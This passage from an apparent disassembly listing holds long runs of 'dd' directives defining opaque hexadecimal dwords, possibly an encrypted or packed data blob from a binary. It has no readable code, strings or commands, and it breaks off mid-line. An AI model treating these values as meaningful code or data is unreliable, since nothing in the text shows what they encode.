315F815Ah dd 56528FAh, 27ACDAB5h, 0FC5247E9h, 284DB212h, 0A5B3DF6h dd 0BA9BE2BFh, 235826BDh, 0E43B0785h, 1A166CE5h, 0D9EFF50Dh dd 13163ADEh, 0E985F6E2h, 0F452FF32h, 715BB909h, 83559E94h dd 46CF668Ch, 244AB5F1h, 5F3AFA14h, 0C525358h, 574C6368h dd 0C9D64B72h, 0B85B30F5h, 4A1C1E64h, 0E00F52BBh, 0D3C612A8h dd 910A03BDh, 5957695Eh, 0B369625Bh, 0C3315C01h, 5E0CBA2Ah dd 0B558479Ah, 0C6203D96h, 3BB13B65h, 4E4F32CCh, 0F84FCF59h dd 0A908B445h, 933B216h, 60D8BE09h, 8EA1BA06h, 0B56A7ED2h dd 0D02DA254h, 9741EA62h, 2230776Ch, 814F3643h, 2F8F09CFh dd 87044C7Dh, 8B290987h, 2708964Ah, 95D09FE9h, 99EB014Bh dd 85327FC4h, 5B80A01Ah, 9D25AC68h, 32654DD9h, 8F310EE1h dd 0BBCBA178h, 48E9986Bh, 0A5373F44h, 7A1F1BD4h, 7366F35Ah dd 1EAF74Ah, 0C81716E6h, 0EAEA206Dh, 0EEE907A0h, 549D0970h dd 60D7FA76h, 0B0A12D7Bh, 0C4FC4B7Dh, 65ECAFA5h, 20415B3Ch dd 342E5742h, 0EE1EF867h, 0AF085139h, 8C89D50Ch, 0A0760809h dd 1F8276ADh, 90126586h, 42AFEDF9h, 8D8F4D9h, 0C2250279h dd 9B587D29h, 4BBC1159h, 7817ECEDh, 1C1692C9h, 62111F2Ah dd 0CF09F502h, 1A5D8510h, 0E6FBF76Ch, 1C472104h, 82F7B3AAh dd 0DD8B90E9h, 0FA25A594h, 5F0494ADh, 3BB09D59h, 0E9C338EFh dd 57988025h, 68127E4Ch, 78A61A07h, 4D23E917h, 756D0158h dd 0B9FC2AACh, 0B94EA05Dh, 91E909A1h, 0D5B5DDDh, 1D76F369h dd 71D1ED61h, 533CB480h, 398008B7h, 0F79D83CFh, 59C48EEEh dd 0EC6EFC0Fh, 0F6125BACh dd 0BF47E95h, 6FF25AE8h, 7B57709Dh, 0DBE527CDh, 3B2838CEh dd 8520F4C8h, 84595C01h, 80D8AC2Eh, 0F662B050h, 0D35C04D0h dd 0C4172D48h, 0F7810147h, 7AC662D9h, 4DB83A2Dh, 0A776E04Fh dd 4CAE605Eh, 3191AE70h, 0CA6FD172h, 58176508h, 0E81267A9h dd 0BAF3EA65h, 3A4BB681h, 0B5C9F817h, 47451905h, 0F5B140E9h dd 3AE2896Fh, 0D02F3ECDh, 8A778139h, 4929AEBFh, 5D2404Fh dd 0B91F17B1h, 1395C404h, 870A3807h, 0DF34E16Bh, 0EF5FFE04h dd 692EC8E0h, 785F1854h, 3B82903Bh, 0CB1E58E3h, 0A4C34F6Bh dd 6E0ADBCCh, 5BD98804h, 0B8EFCE20h, 96128EC6h, 0CD6EE889h dd 0FC10A757h, 215054E3h, 2FF9F6A5h, 0FA60578Fh, 76C3680Ah dd 95A1D1C4h, 25AFBB00h, 0C106741Ch, 0DBF704EBh, 81052E0Ah dd 0D960053Ch, 13E0BB4Ch, 95730D6Eh, 0E4C88937h, 0B22668F1h dd 320B26E5h, 5239DF51h, 768B6E66h, 0B47AB200h, 0E9D42853h dd 0E2A5C72Ah, 0E30120B6h, 71DE5A2Dh, 0B1A3A4F8h, 25D4023Eh dd 54413FE5h, 1FE32A53h, 59C0AB38h, 4CEDF0BDh, 3C1A52BDh dd 8C7F3080h, 1810060Fh, 0F95D5CE9h, 4F3011F3h, 2C565C2Ah dd 68ED097Ah, 0B8D536C4h, 2D12D94Ah, 0FFC228EEh, 3EE90703h dd 0CF55ADD5h, 0C0448B51h, 5D0F765h, 1CEDE05h, 0AFE5C182h dd 0E8ABA8A7h, 0EA4D1979h, 3BBA0227h, 0F6735C32h, 0A6660524h dd 0E54FEA1Bh, 3CBB26FAh, 0B014091Ch, 15C34A0h, 0F69A620Bh dd 4EE3815Dh, 2B6A322Bh, 3BBDDC2h, 685E5954h, 0A3AA9C12h dd 13E98270h, 0DDD455F5h, 0FEE7D77Bh, 122573FAh, 0C702402Fh dd 0A57912FCh, 4175F94Ah, 30887A08h, 64653768h, 21746Dh dd 9441EEBBh, 0AD054B42h, 0B0EC5F32h, 0BEB9C213h, 9F9B9AC8h dd 2BB2AD83h, 244CFEF9h, 0F6A1DABBh, 0C38A03A7h, 0F90A28DDh dd 59C70F8h, 0D53059EAh, 0B4C9AE5Ah, 7E1E892Bh, 8AE15FBDh dd 0FE896F1Fh, 3A5AF4C8h, 90798059h, 47876F7h, 0C8E9CBE4h dd 1EDA93Eh, 10542B7Eh, 0D460D609h, 49304FF4h, 96FAEB6Ah dd 0AFBDCFF9h, 140585CCh, 0A823A3AFh, 551FDD04h, 4850FB1Ah dd 0D65A2708h, 79B05103h, 0B4E9409Ah, 1D610B12h, 2010C9ABh dd 0F5B4370Fh, 1C6420BEh, 13DAEB80h, 674F1DE3h, 0DE2FFE7Bh dd 5A55C989h, 0DAE91691h, 8097ABFEh, 0A3494985h, 0E1BFB351h dd 0EF2A3227h, 0F3681860h, 3F989733h, 5E8092AAh, 0F28F7066h dd 62FE6041h, 0BDE3F381h, 82DDD628h, 3B0C5509h, 41285562h dd 8A5B1508h, 0B70CB4Fh, 0A0056CE9h, 0AB650FEEh, 3E5F601Bh dd 0F8F70614h, 1C27509Dh, 0DD5DEA31h, 8D358DAh, 2C59DCE9h dd 68C80459h, 5B369A7h, 12775827h, 4F434170h, 40BE209Ch dd 317BD90Eh, 83145EF5h, 7CD01C5h, 7E95FDD8h, 0B7BBE974h dd 31D350D1h, 1C3FC44h, 1A6D3809h, 214BD3F7h, 166FE4EFh dd 4236E48h, 681008FCh, 59135AFh, 0D54E6007h, 2645011Eh dd 6A63584Ch, 60821D25h, 0C19F693Ch, 0BC1EDFBh, 992A1796h dd 3B56EDD6h, 32021D31h, 0E56D8C2Ah, 0D393F795h, 24492DC1h dd 1EFEF3D0h, 0B83B8C96h, 13F34CC7h, 54A43E19h, 0D5A9FC3h dd 0A94AE6F8h, 96D0EAF9h, 402D7704h, 0A9A8AF57h, 0D1200841h dd 33E98007h, 0E8497EF5h, 0F80457F1h, 6DD2C00Ch, 674F2A79h dd 85110EEh, 46FBD84Eh, 0D124C55Bh, 1AE2CBEFh, 0DD22136Ch dd 8AA4644Ch, 2C7DE912h, 99E4BF8h, 5AE85395h, 5B2E4469h dd 1D12A5FBh, 2F68A088h, 0CDC60C62h, 0F5803301h, 3F45E94Fh dd 0E702872Dh, 3974146Dh, 2C49861h, 266B5A29h, 68C8FCAFh dd 5C980199h, 3B538F71h, 0DDD951D2h, 60C360A0h, 5D4AD22Ah dd 81627D4h, 9211E6B6h, 0B6845A40h, 17F64B80h, 0AC6C4F9Fh dd 2557B085h, 44C0BDF9h, 6225134Ah, 203152E2h, 4698CFADh dd 257ABF20h, 0D8F9DF89h, 12D4F760h, 536900B2h, 0E12BFDBBh dd 0AAC14326h, 706019F4h, 4A48421h, 9CAB2F10h, 0B2C06C02h dd 0C8820456h, 5EA127CFh, 0C5890955h, 0B8DEB07Fh, 514616B5h dd 467976Dh, 705BB461h, 19F27C01h, 0CD71BE35h, 0DC6BA8Bh dd 0F95E68CAh, 7F595EC2h, 68EEE844h, 5B32DF25h, 0A8CE3029h dd 7E09A64Fh, 7946CDE9h, 57D62580h, 68565000h, 61E51D51h dd 0B5E94D38h, 0B6243A19h, 2E0AA5EEh, 0B3622BE1h, 0A8B89193h dd 142624Dh, 79CB1AB4h, 0A17FD109h, 0D5E3D1C7h, 0E28E54CEh dd 90F896BDh, 5FB065F6h, 4ADA720h, 0CE6164BAh, 55138240h dd 7A25D160h, 0FD214625h, 29982383h, 0D79A71DBh, 6C805692h dd 194D126Ch, 0E505EA98h, 2D0895C5h, 8284E4A8h, 7F680797h dd 0EBF622A9h, 0F17F29B4h, 0EE5DA564h, 68A42071h, 0A185589Dh dd 613A5892h, 2EAC34CCh, 20C969EAh, 0AC22467h, 76D8285Ah dd 8F9165Ch, 581F7169h, 62F8E71Ch, 0D508C916h, 0EF20E9E6h dd 2F319625h, 0F700B7FEh, 5D1F413Ah, 7BF5057h, 5FFD0929h dd 64F8E7E9h, 19EF2D4Ah, 7A4B14D0h, 0F9FD4A3Dh, 49160E2Fh dd 0AE6201C4h, 94B487CDh, 8D2CBB85h, 0E49D9051h, 585925CAh dd 0BA3ED116h, 52FC8E9Ch, 0C5C593E9h, 0E1D3B482h, 146AFAACh dd 0BD200983h, 50DCF095h, 7D7B45Fh, 35268C39h, 7EE893ADh dd 0AC52820h, 5DB3685Ch, 0F86A06Bh, 0F1C5A16h, 0E9D19836h dd 1410BD25h, 2D11EB4Ah, 0F60102FAh, 4E66E34Ah, 51CCFF4Bh dd 7DF4B505h, 76508225h, 5EE7536h, 40F76630h, 0EA74DD68h dd 814A9C0Dh, 4A3F05EEh, 6B7021BCh, 0AC5F13FCh, 32E0125Ah dd 55E82899h, 8C689D1Ch, 5497FD14h, 0C27749CFh, 0CF52FF0Dh dd 236BE437h, 623C6360h, 500CC176h, 6110F158h, 0E9096ADEh dd 9D78D2ABh, 0F85DB2C2h, 0F75B3CD6h, 2BBE5689h, 0E93B4880h dd 0A59229F0h, 0A8752C09h, 99CD8458h, 800B1FFCh, 3E015CCDh dd 62EE88DBh, 8FE01AEEh, 77607D63h, 46642D03h, 5784093Ch dd 74796B80h, 0ECF25A9Fh, 5AFA48FEh, 0A42F4929h, 0F9515951h dd 0A0E92AD4h, 5A4114D6h, 9311AC7h, 0F8FAECDFh, 2F12B60Bh dd 0B55C71FCh, 0E92538ECh, 0CAC527Fh, 6F571390h, 5FADEB0h dd 0C2BA7C54h, 6C1EAB0Fh, 2743653Ch, 0C8880990h, 0CE8E5FEh dd 1E539D36h, 0D62B7309h, 78B462FDh, 56CFE901h, 0D7A7442Fh dd 26803F1h, 16212A29h, 0B75697BFh, 0BC6D47Ah, 78893D1Bh dd 0DEADD1D6h, 718B00DFh, 0C7E9330Ch, 853BF94Dh, 0E2D9201Dh dd 0EA4A1C38h, 0FE9307CAh, 905FD28h, 6CCA038Ah, 0F108AE09h dd 56702508h, 72F45CBDh, 58B50D80h, 0DEB011D5h, 41447701h dd 8E3C12Ch, 7C2C3Dh, 744604FFh, 45096850h, 20EA669Fh dd 0CFFA7907h, 7DC40D01h, 1EB835Bh, 94334BE4h, 0B7EB6F4Bh dd 6DEC4920h, 1EF464D0h, 41170AB4h, 0B044208h, 4EDDC729h dd 0B53AA12Dh, 5027368h, 692138Fh, 0FA195941h, 5B4528D9h dd 4C27B89Ch, 87810E48h, 0EC147F7Dh, 4BBC23F8h, 57EF8342h dd 6B251C47h, 0DCBDDA19h, 1268E161h, 56532A57h, 0E2EA4653h dd 89C80F13h, 14F4C418h, 26C135F4h, 870004E0h, 0B619442Ah dd 1870E2DEh, 73A2569Dh, 5FA717D8h, 0D0EEC127h, 2CD50E02h dd 0F6C00396h, 5B986539h, 0E4E44E6Bh, 975D311Ch, 21F76B0Bh dd 9BD17AEEh, 5901D4BDh, 0CCDDF201h, 17AD011Ah, 0E9433650h dd 3D0B2A79h, 0F83EC65Eh, 2DE8BEDAh, 979596D7h, 0A15B1CDFh dd 98510116h, 5B022097h, 6CD182F7h, 0B9510092h, 0E2F1CDFh dd 83D77423h, 3DAE31FCh, 0D16440AAh, 3759C306h, 80C3022h dd 53CF6403h, 823B8D02h dd 5D614023h, 68A22F4Bh, 0A5046074h, 0D544179Dh, 2D5F0032h dd 486F045Dh, 0FCD740E3h, 4690B9A1h, 3CC40A4h, 1BC6C0A0h dd 730767FAh, 7BE9F101h, 0FB18D7CBh, 0C6951D4Ah, 159682EBh dd 225AA438h, 876E96E8h, 74585E68h, 9D14A24Ah, 28C1E181h dd 0A24055FCh, 5ECABDCFh, 3B4F83Fh, 932FAC25h, 3148E908h dd 0BB933678h, 1DFCD313h, 54BF66E0h, 76B77B74h, 0E87FA50Dh dd 0F23F04B5h, 0D8F6053Ch, 80308A2Ch, 0EBD2E91Ch, 4E412B7h dd 96903FF6h, 2E3582BDh, 3E385E70h, 0B52530DEh, 664FA527h dd 0A87657AEh, 8933CA2Ch, 0D744A78Bh, 0E8502719h, 0F99DCE56h dd 0BA52C0BBh, 0B0481680h, 22D026ECh, 5F02C50Ch, 845F5BF9h dd 0F8FF81FCh, 38A49FEh, 0ABC5B0F5h, 0B36ACB29h, 11BF0460h dd 0ECBFDF01h, 71B84EAAh, 0AA7E3526h, 10D42007h, 39EE5C5Ah dd 18D2098h, 13E0BF80h, 0FB52A53Ch, 54856894h, 103E9241h dd 603457A6h, 0C701BD47h, 40B4B2E1h, 7B52C3F9h, 541DBA2Dh dd 4808A0F4h, 0B305875Fh, 0E398A2ECh, 0C9FF4ECAh, 72FAD94Ah dd 36EC4EEAh, 0F20C3D8Dh, 20A33C55h, 0BB00D3C3h, 12A56CF1h dd 781DBF7h, 0F66595E3h, 0A1CB675Eh, 786C1F63h, 0E52F785Bh dd 0C3AEE04Fh, 743F05E1h, 0D196E928h, 41D78937h, 2761B43h dd 0F8E9805Bh, 9D053740h, 0D825BDCh, 0F7249939h, 0F101A37Ah dd 4F61F077h, 902A29E9h, 0A623EF08h, 77C9272Fh, 0F1951496h dd 0A7669ADh, 0D7BA9BC2h, 3C41EC6Ch, 0E82B6BD5h, 0B46A8130h dd 906ECA12h, 2EA0E2A7h, 427777F2h, 6B0DF201h, 0B2E92C82h dd 80FAB86Bh, 0B65279B3h, 0EE8003B5h, 5AF3307Ch, 0DC51275h dd 0E3ABDB2Ch, 0C34E1086h, 0E5D1BD3Ch, 0F06C7342h, 0EA81030Ch dd 8209C015h, 0D758FADAh, 6DED6813h, 58F5CC4Bh, 0AB4FD32Bh dd 0A84B69CBh, 6EE9A0AEh, 79129D23h, 0AEDD8D63h, 64B66665h dd 1C199410h, 0D8098CB3h, 1F70655Bh, 8838C953h, 0EA809D81h dd 9EB82E01h, 56104830h, 0CD48B551h, 90AA20ACh, 68272700h dd 0C06FA2D1h, 3F538FB8h, 61589D1Ch, 0D5E1732Dh, 6FB9D199h dd 69FEC884h, 173A3DDFh, 0D3B8A9A4h, 0CE7DBBE4h, 68F98C7Fh dd 65138F5Fh, 0CEFAA224h, 0D8BF4E91h, 98F0E9DAh, 0DFA5DB99h dd 7328A6ECh, 75DEF8F3h, 7979A809h, 1C5C2652h, 967F2D21h dd 0CD3C5D61h, 0A639EF4Bh, 6839827Fh, 9B6E19A2h, 6913440Fh dd 1764E3CDh, 51D113F7h, 85811AE9h, 6731445Dh, 945DC7A4h dd 0AAFCAB1Ch, 0F6B23EB9h, 4054E916h, 0BBF42D5Fh, 6970D72h dd 280629BFh, 9818152h, 7D2F36A8h, 12F77E85h, 0D046B807h dd 0DE0C2D8Ah, 35F172DBh, 0FEFD5F06h, 0D2560925h, 20E2D60Dh dd 0C113D2D4h, 0B87BEEB1h, 0F416C2F6h, 0C5F675FEh, 6C420271h dd 83D8D656h, 1DB1E97Ah, 0F4EB912Fh, 5A664CC9h, 19E5DA4Eh dd 0B22B8875h, 0B5265807h, 0D32478A8h, 750B6F6Dh, 50CD060h dd 660E62F0h, 934CFB68h, 2C573D21h, 28E191E3h, 1A20F67Ch dd 0AFF23EA1h, 771F2D0h, 0F10B4BC7h, 0F216F11h, 826FE763h dd 2E239B18h, 224A001Ah, 0CC12F6Ah, 8D03AE39h, 8956A33Fh dd 7CD60957h, 0DE2D536Dh, 5F5DD2BDh, 16FCBD29h, 88AFCE8Ah dd 0F94C01CFh, 602102BBh, 575F7343h, 0E9C11AD9h, 423B1FDDh dd 3D73AD42h, 0D9F38CD7h, 0B57127EDh, 0AC03F076h, 76487E78h dd 77281018h, 25010572h, 70EBD91Dh, 85F0E957h, 528FE699h dd 42394B55h, 0E7D37D43h, 2D125BFh, 0D7515282h, 7E6015C1h dd 35692h, 0C50263BEh, 0EE2677B0h, 0A3087808h, 0F95F3893h dd 2BF51075h, 86B4B814h, 0D9056F01h, 70340704h, 97B69AC0h dd 4AE55F27h, 846F4C2Fh, 21665EA9h, 2964D86Ah, 0C3F107D5h dd 0CBF4ADA3h, 5DD190EBh, 3A4AE368h, 0FF106CA3h, 0CEBF001Ch dd 0B9329860h, 8A100EF9h, 8B73140h, 0F72FD0B0h, 0BE9F279Ch dd 0AA514A99h, 0EF96118Ah, 0BA520F61h, 533A8F09h, 15F252Fh dd 80510EFh, 15103448h, 0D31C5197h, 2AF8A4F2h, 291DABBh dd 0E47EE90Ch, 0B7E8C723h, 7473E625h, 463A0843h, 28C37827h dd 40CA8BE7h, 972F680Ah, 25F44618h, 681CA008h, 9168CF88h dd 0CE31374Eh, 3F789D3Eh, 0B2DF38DAh, 40C87C8Ch, 4EFC15Eh dd 9801A6C9h, 248F4ABAh, 78CF879h, 69E0D53h, 0A6271A47h dd 0B0AAE318h, 0BC63A27h, 3266E935h, 8DC1949Bh, 260A64ECh dd 0D2EA3E58h, 0A3A98256h, 76F83A85h, 4E304971h, 6AC11DCBh dd 0DB3924A3h, 4589337h, 0ABE4506Ch, 0C8D2DBB8h, 7053A937h dd 7DB34F8Ch, 8A7007Eh, 0BB5E2818h, 0E72DF75Dh, 923F54D7h dd 9DA1AEC2h, 5BE9DAE4h, 0C9611456h, 10FBD42Eh, 0C54A7F29h dd 6FF029BEh, 5B02F961h, 0DB80217Ah, 0BF902AD2h, 7BE48075h dd 9F08F464h, 0E233F0C7h, 0E00A4A2Dh, 561466D7h, 1CBF3ABCh dd 9DAE1BCAh, 4A77CF01h, 0AF302D69h, 634F39A4h, 528CE989h dd 44755312h, 3382205Bh, 5C1F2D00h, 68566F1Bh, 20230430h dd 0ECD7E911h, 2B166209h, 0B54CD75Eh, 59D07917h, 4EED09BFh dd 5F11A20Eh, 4D3B20C1h, 0C5283E83h, 0E4988058h, 5925E888h dd 658D0E0Ch, 44EB2731h, 73AD4C0h, 6881C820h, 0DB4C2ACDh dd 5F67B857h, 48FF4098h, 0D4AC675h, 8E03A83Bh, 0E0E8D10Eh dd 1D2930CDh, 2E001C1h, 0BCEFF02Dh, 87B17AFDh, 79CCA3Fh dd 16E56853h, 5D5B3332h, 43967EDEh, 5F3E04EFh, 126CFC32h dd 8A8C4AE9h, 53BA05B9h, 2686D7Fh, 2DEEE97Dh, 9FAE57FBh dd 0F2685502h, 0BA39B11h, 0D1C3F62h, 69981302h, 41D3EA0Ch dd 5D862B1Dh, 2E5F2712h, 0CE0E1452h, 0C9117A3Eh, 0E18B8059h dd 769544CAh, 0BFC90053h, 0E933E730h, 3992DD6Ch, 0F65EF52Fh dd 0EF056B16h, 0D98AE77h, 4B07B2EDh, 0EA4BBA09h, 3B11704Bh dd 0E692B9B3h, 70D0AA3Eh, 0E78F3CEFh, 0C681A8Bh, 822DAD51h dd 0F528B3h, 3F0DCA2Dh, 85A84A4Fh, 0DD53614Ah, 0A8EE04BBh dd 8CF53D7Fh, 0C7AB207h, 97D170Ch, 0F9CBC37h, 0D6F478h dd 0E9565DEFh, 2CA34ADCh, 3FFD83F1h, 0FD94CFB6h, 0AFDA3989h dd 7B4B6925h, 0BE9C2F8h, 0E84C2A5Fh, 0BC05AA1Ch, 24FF2912h dd 0FB0A1290h, 8BD2A1E3h, 42F82598h, 0D21A1C25h, 0C5200481h dd 88E11211h, 0E64F527Ah, 4EAD179Fh, 0FE929BA3h, 49E9A2F4h dd 0D14C6479h, 0AC138216h, 421BC28Eh, 7858DFE7h, 6153EA13h dd 418C99C0h, 240C983Ch, 6184CCCDh, 0EC28B753h, 27BFC1BDh dd 0A85589h, 0C68EED81h, 0B6C190CBh, 44800F57h, 174D1F20h dd 0D4497429h, 1C081A5Ch, 51751409h, 0B2DFC9F8h, 5B1FCE2h dd 45261068h, 0FF084184h, 0BB8C5931h, 9C0FC806h, 0B70BCB92h dd 0EAD71BB2h, 0F355FB81h, 9D11407Ah, 8163F119h, 308EE31Ch dd 6CE976CFh, 27EFE5E5h, 0DC026E07h, 12C1F193h, 1EFB2A05h dd 4EE79369h, 1AD25E73h, 297E0C87h, 320B7FCBh, 0BEE965D5h dd 0B2F5582Dh, 95F0D735h, 0E85F502Dh, 4B4E68C5h, 0D339B37Dh dd 5306E3CAh, 8F3EF5E9h, 9468CDA0h, 9460305Ah, 456E1649h dd 5E59200Eh, 4B1F2612h, 525843BAh, 4E10A6ABh, 57B57B9h dd 910375F6h, 71288268h, 96605656h, 0A072BB37h, 2C4DF3E8h dd 25694761h, 6412A574h, 0E04AB1AEh, 13735901h, 46B32182h dd 876A1B6Dh, 0BBD6347Dh, 0CDC752A3h, 59D5090Eh, 12944C1Ch dd 0D8C527C9h, 0AB799D5Eh, 0B685A6Ch, 31A22C9Ch, 56D3FE8Fh dd 0C450E902h, 5E0B0597h, 9223667h, 0A806A283h, 7CBE49D2h dd 1608070Ch, 0CA0128FDh dd 391803FDh, 556162CCh, 4CB03502h, 0F70AE8h, 3EAE0DD8h dd 0C12D17AAh, 44D90B00h, 0D662CA05h, 95A297D5h, 43E52497h dd 5248F3AAh, 51B11245h, 1A3DA7EFh, 6113C601h, 0D99273C9h dd 7672AD5Ah, 9DE050B5h, 7E30A090h, 561BA817h, 6A374C40h dd 5D9EE96Dh, 0D0138F4Ch, 6684BF2Dh, 95392DC8h, 5175B109h dd 53FE9F48h, 3BBEA9B0h, 49218CF7h, 12A40C37h, 0FDE8EEDAh dd 0AA3A10F2h, 12575A2Dh, 3E3E809Bh, 0B06CB41Eh, 0C4D6B51Bh dd 11392DBAh, 9920534Dh, 0DF3A00E2h, 814D5D48h, 3217A5CDh dd 0CEF97ECEh, 0FEEF060Bh, 0FD42A0FEh, 49A50F67h, 6F60010Ah dd 301C4D70h, 2F064677h, 0FD297136h, 0E9088080h, 740A5E22h dd 0F22F80E9h, 3A4BC377h, 6B41EC8Bh, 23C8B03h, 2EECB8BEh dd 0E8D71C22h, 9781E5A5h, 5D1F7FC7h, 0F624A1E4h, 95FF3AFh dd 25089FBh, 0EE139C5Fh, 0BEEAAAC1h, 9F68F2CCh, 2BDF46C3h dd 0B726D304h, 22A14C73h, 89599F7Dh, 5FB5F101h, 17ECAED2h dd 3EB9F0Bh, 4C7FEF8h, 43C2314Fh, 57F3AB73h, 42A86D4Dh dd 2D0F2C40h, 5416C8BFh, 1402F74Ah, 0E0B1EDB4h, 0B58E1C6h dd 0B375B652h, 3E70C3F0h, 0FF1C5D97h, 0E0D9E925h, 0BD4F59BFh dd 205DC8E2h, 0C59BBADBh, 0A829B096h, 242CBDFEh, 1FA66A68h dd 5EC012E8h, 60D7892Bh, 0B57F76C6h, 0C00E1E90h, 6E8003EDh dd 50EB6784h, 7BB190E5h, 5F14D83Eh, 92F0E595h, 5DFC82F0h dd 5E20E0C4h, 454F810h, 3519796Ch, 1C2FC0DBh, 60CBC129h dd 0A57A560Fh, 4A7F6357h, 8BC7AE0Ch, 6D02B9A0h, 32D8B7E6h dd 3BB4894Ch, 0B6E1037Eh, 74F2715h, 0DF17F618h, 25965229h dd 0EB7D1377h, 0CBE8FC15h, 16CD89B0h, 0DA4ED474h, 8682E21Dh dd 7C292B0Ah, 0F13C0835h, 8347C02Dh, 14A43E50h, 471E7518h dd 18126BE3h, 0BBC67C1h, 1D973C09h, 0C277ABF8h, 0AB244B0h dd 0ADD96795h, 2469CFB1h, 0CFBC5B36h, 0FABCFEC4h, 0E1D05A0Dh dd 91B4304h, 0F0D7F183h, 33E980C9h, 360BFE4h, 3F01EBEFh dd 848D5B74h, 0BF8187ABh, 0C906D229h, 0C54E94D5h, 0E94902EFh dd 10F157AAh, 6AE98DCCh, 90C876Fh, 6B223B12h, 0D556E896h dd 7B16D91Fh, 483108E0h, 5058A1C6h, 5493028h, 26E80A9Fh dd 6822805Eh, 239B707Dh, 5229C502h, 0DDE85D33h, 4C27F5EBh dd 0C68554Bh, 514A63E9h, 138725EFh, 68F4C0D1h, 18971FF2h dd 806029E4h, 0B7EE35B2h, 0C8B66F7h, 0C748E368h, 0CC4F4AB0h dd 569A192Ah, 1A155D9Dh, 4BB74ABBh, 9565AE18h, 0E6B5057Bh dd 8922FF3h, 84ED6D19h, 5EF868B5h, 48A160ABh, 4901C71h dd 0DD250F90h, 0ABC4D7F2h, 3E22213Bh, 39FD9206h, 8933CBAAh dd 791E005Ch, 9F95B050h, 80FF8F55h, 8A50429h, 0E6587BC6h dd 0A2B13851h, 2859CE09h, 0E7840457h, 80F74805h, 2C8C3D95h dd 7825547Dh, 7355D63Ch, 2BD591F1h, 598256B3h, 845E5C31h dd 0F1F2E967h, 0AD9057FEh, 0DF97AA2Eh, 0BD98DD18h, 8B3679B7h dd 0D2742643h, 15FA68E1h, 66C4CB3Ch, 0C2C8BA30h, 5D284027h dd 6C04D39Eh, 0FFC0748Fh, 42F78E3h, 0E783E9D1h, 538EAEFEh dd 0C41E5E7Fh, 70DBEFE1h, 0CD099E25h, 802D8075h, 4EF6E2C7h dd 4B84BCD7h, 3F7B30BCh, 0CD13A9C5h, 44BD0260h, 0B98BEF28h dd 0D5138AF4h, 0F95EF8ECh, 62FA126h, 0DDF82901h, 6219AD62h dd 0F67E573Ch, 69912E87h, 0E9D00980h, 21DDD3BAh, 3B358001h dd 2AF81839h, 4F569C39h, 93C9DA06h, 9DBDC35Bh, 1CE7CA4Ah dd 4AB87C68h, 4BB59BEBh, 0E62EC7EAh, 73BE90E6h, 6141A116h dd 0E068575Fh, 0EF20D4CCh, 18A8E2ACh, 0E2D19386h, 0F29AECBDh dd 0BB3AA843h, 9F5300D9h, 0A8CB812Eh, 0D895504Bh, 6D820CB0h dd 0A0C474F4h, 69BD1D04h, 75CCD301h, 0F7C7C130h, 7F71CB35h dd 7A98B501h, 98833A0Ah, 65963645h, 8F569215h, 88C55AC2h dd 0B7BF5885h, 44E90B28h, 739EF250h, 4DF70A89h, 8F5F830h dd 5916B40Bh, 508727A9h, 0E5E3F29Ch, 0F71CE4F8h, 0DD16A7AFh dd 2A16985h, 7306EF60h, 0D0295E22h, 2354C379h, 0DB084528h dd 0A6EC024Eh, 0B36BFAC5h, 0E5A010C1h, 51134Ah, 1F05B387h dd 3FFBD156h, 5B261CE1h, 3181F62Dh, 2F505B54h, 83885EADh dd 69135317h, 0A76810C0h, 60E09C1Ch, 4993278h, 0D84E5E2Dh dd 174976ACh, 5F2893Ah, 0AE0EAEBCh, 4B7B74A6h, 5937F0CCh dd 0A50047BFh, 5000E3D2h, 7C0E7068h, 248581Fh, 26F92105h dd 0F45E8925h, 0B1076208h, 40505638h, 0AE0A59A3h, 38EC5D5Ah dd 80B25E8Fh, 932311C3h, 0BC94707Fh, 0B7932724h, 66B8F153h dd 51B1FFA4h, 0D4E60621h, 21D2E439h, 0EB05E4F4h, 7749A29Bh dd 0BA8FB313h, 2350838Eh, 0EC384B47h, 8E6CDEE8h, 66ADCA5h dd 7CEC306Eh, 0A896E2E8h, 0BAFA75C9h, 2377AD82h, 0E9FB0151h dd 0CC3AD7A2h, 5412DA0Dh, 16BF4F6Dh, 0BFAF295Ch, 0DFA2E59h dd 6813E9A2h, 45F3782Dh, 7506FB30h, 745B49E9h, 2B99EA91h dd 29DB6800h, 23C1C89Ch, 312B593Bh, 3E3A3FA7h, 0B31033E3h dd 5E64825h, 29ED063Bh, 45ADDC80h, 0E9200D5Fh, 60CD53C9h dd 3809BAA3h, 564A018h, 60034F0h, 0F27A51E9h, 7AE1B52Bh dd 59913454h, 6237F99Fh, 3093F39h, 2D6FE5FBh, 0A779E661h dd 25F1E961h, 0C287642Ch, 53E0A2F8h, 92CE67DDh, 772DFFF3h dd 5C8BA922h, 25FEE65Fh, 1468C115h, 0F22F383Eh, 0C24A623Ch dd 0B0B5720h, 2CCA4FFh, 0F9E98081h, 0BCBFE993h, 1BCAC42Ch dd 0C28674BAh, 0A65AA5EDh, 0E74A590Bh, 82F8FC1Fh, 5B038BD3h dd 0BD60DA55h, 0CE503C79h, 0EFF98203h, 6289A5BDh, 95F97596h dd 0B45A2ABEh, 10218F58h, 6809E353h, 85564AECh, 0B401E978h dd 14E72524h, 7564E904h, 68D48CFAh, 0EDD0D641h, 0CE4BB58h dd 0C5FF8409h, 9279FD09h, 70B872Fh, 7F08ED32h, 0CBD8EDC2h dd 0F8887FE3h, 0A4681856h, 2BD3DF6Fh, 0C1BC109Dh, 471E14EBh dd 0AD4A94BCh, 8E912EBh, 87C4CFECh, 4E82AED1h, 39D57219h dd 0FAF095C3h, 86D95D01h, 0FC1FE982h, 0DD4277E9h, 0DFF2FA79h dd 0E4F18D25h, 0C254979Dh, 821468E2h, 38C1B55h, 41B9EF88h dd 0E7945320h, 0E45C6F7h, 64A977Dh, 814AFF80h, 3BE509E2h dd 3A0956EFh, 0EE008B5Bh, 0E9738F12h, 4D009DABh, 5455D830h dd 970AF2h, 38C8BE2Ch, 0A9725FE8h, 2DD81410h, 4FC54A0Ah dd 0EB305845h, 4AACB026h, 68B28801h, 7647972Fh, 36E8D2FFh dd 27D22CD7h, 0FF9B00C1h, 1854AE04h, 4B71EA5h, 0A5CC2017h dd 37B455D8h, 0E1E5E12Ah, 5E149A09h, 0B605517h, 2C023718h dd 8CE9F089h, 451855CCh, 0B1B7C346h, 0ED726BB6h, 0E6EFFC4Eh dd 2E512024h, 4E24369Eh, 7C341701h, 0A6700915h, 0AFA14ED1h dd 4D444065h, 8913368Ch, 88DE30B6h, 7D5B2B7Eh, 0F7EB6192h dd 7BED65FAh, 0C24E71FCh, 715C027Ah, 4D63E9F0h, 6800EC78h dd 6DD71FAAh, 0D97E895Bh, 0C4EA7F4Bh, 0F3FDBAD7h, 1E2D6DCh dd 181C94E0h, 2B636023h, 6B45D1B5h, 